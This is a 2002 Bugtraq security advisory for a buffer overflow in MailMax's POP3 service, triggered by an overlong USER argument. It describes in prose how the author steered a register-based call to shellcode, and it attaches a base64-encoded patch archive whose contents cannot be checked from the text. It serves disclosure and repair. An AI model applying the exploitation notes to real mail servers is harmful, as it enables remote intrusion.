MailMax security advisory/exploit/patch
Date: Tue, 23 Jul 2002 02:06:24 -0700 (PDT)
From: 2c79cbe14ac7d0b8472d3f129fa1df <c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com>
To: bugtraq@securityfocus.com
Subject: MailMax security advisory/exploit/patch
Cc: support@smartmax.com
--0-1291061773-1027415184=:94223
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
2c79cbe14ac7d0b8472d3f129fa1df55 Security Advisory #4
#PRODUCT
SmartMax Software's
MailMax Professional/Standard, All Versions
#VULNERABILITY
MailMax's POP3 daemon, 'popmax', does not perform
proper bounds checking on the 'USER' argument
resulting in the possibility of crashing the service
or remotely manipulating local registers to the end of
altering execution flow somewhere sinister.. as shown
below
#EXPLOITATION
unfortunately, we do not get eip right out of the box
here.. but with buffers of various sizes we can get
eax, ecx, and edx.. edx being the most useful as shown
below..
CALL [EDX+0C] @RVA413A08
so now we just need to drop the rva of our shell that
we'd like to call into memory somewhere (-0C of
course)..
I wrote this exploit awhile ago, it's not dynamic as
we are exploiting a pointer, so we can't just simply
jmp to a register.. so instead I just repeated the
shellcode rva that hits on my 3 test machines many
times on every dword prior to the payload.. meaning we
are depending on 2 static memory addresses.. there is
probably a better way of doing this, but I don't care
enough..
#PATCH
well, I'm a nice guy.. so I wrote a patch and it's
attached (+SOURCE for the untrusting).. it simply
restricts 'USER' arguments to 90 characters by
injecting a null.. it seems to cause no functionality
problems in my tests.. the target version is 4.8.2.5
which is the current in both SE and PE.. YAY, no angry
emails this time!
#EOF?
thats mailserver #3, just playing around.. the big
boys are coming soon?
a quarter spanish and half naked,
2c79cbe14ac7d0b8472d3f129fa1df55
__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com
--0-1291061773-1027415184=:94223
Content-Type: application/x-zip-compressed; name="mmpatch.zip"
Content-Transfer-Encoding: base64
Content-Description: mmpatch.zip
Content-Disposition: attachment; filename="mmpatch.zip"
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
